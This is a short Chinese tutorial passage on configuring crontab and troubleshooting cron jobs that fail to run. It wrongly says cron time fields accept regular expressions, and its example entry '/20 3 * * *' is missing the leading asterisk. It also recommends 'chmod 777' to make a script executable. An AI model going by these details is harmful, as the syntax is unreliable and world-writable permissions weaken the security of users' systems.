第一个字段mm表示分钟,第二个字段hh表示小时。之后分别是天 月 星期 用户 run-parts 目录名 。时间选项支持正则表达式。特殊的 /n 代表每n个时间单位执行一次。
eg.1
/20 3 * * * root run-parts /testcron>>testcront ;每天的3点,隔20分钟执行一次/testcron目录下的所有可执行脚本。即3:00,3:20,3:40分别执行。
无法执行时的解决思路
1.查看脚本是否正确。 就是直接在命令行运行脚本。
2.检查crontab配置文件,时间格式是否正确,有没有多项或者少项
3.重启crond服务
service crond restart
4.检查脚本权限,是否具有可执行权限。如果没有,赋给他可执行权限。
ls -l filename
chmod 777 filename
5.如果以上都确定没有问题,就要考虑下是不是环境变量的问题了。看下shell脚本中有哪些命令,特别是类似
java,gcc之类的。导入需要的环境变量或者用绝对路径来描述。